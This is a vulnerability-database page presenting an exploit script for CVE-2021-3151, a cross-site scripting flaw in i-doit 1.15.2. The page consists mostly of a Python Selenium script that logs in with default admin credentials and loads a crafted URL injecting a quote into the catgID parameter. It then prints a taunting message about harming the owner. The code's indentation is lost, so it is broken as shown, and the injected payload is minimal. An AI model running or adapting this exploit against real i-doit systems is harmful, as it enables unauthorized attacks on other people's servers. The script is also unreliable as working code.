Loading
0

CVE-2021-3151 i-doit 1.15.2 XSS漏洞

免费、自由、人人可编辑的漏洞库

,

EXP

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3151

from selenium import webdriver
import time
import os, sys


# Vendor: https://www.i-doit.org/news/
website_link="http://192.168.1.160/?"

# enter your login username
username="admin"

# enter your login password
password="admin"

#enter the element for username input field
element_for_username="login_username"

#enter the element for password input field
element_for_password="login_password"

#enter the element for submit button
element_for_submit="login_submit"

#browser = webdriver.Safari() #for macOS usersfor others use chrome vis
chromedriver
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit XSS vulnerability parameter viewMode
time.sleep(3)
# Payload Parameter: "viewMode" (Infrastructure > catgID=41 == XSS
injection simbol{'})
browser.get(("
http://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27
"))

print("The payload is deployed now this is bad for the owner \;)\...\n")


except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is wrong and this exploit is not working...")

PWNWIK.COM==免费、自由、人人可编辑的漏洞库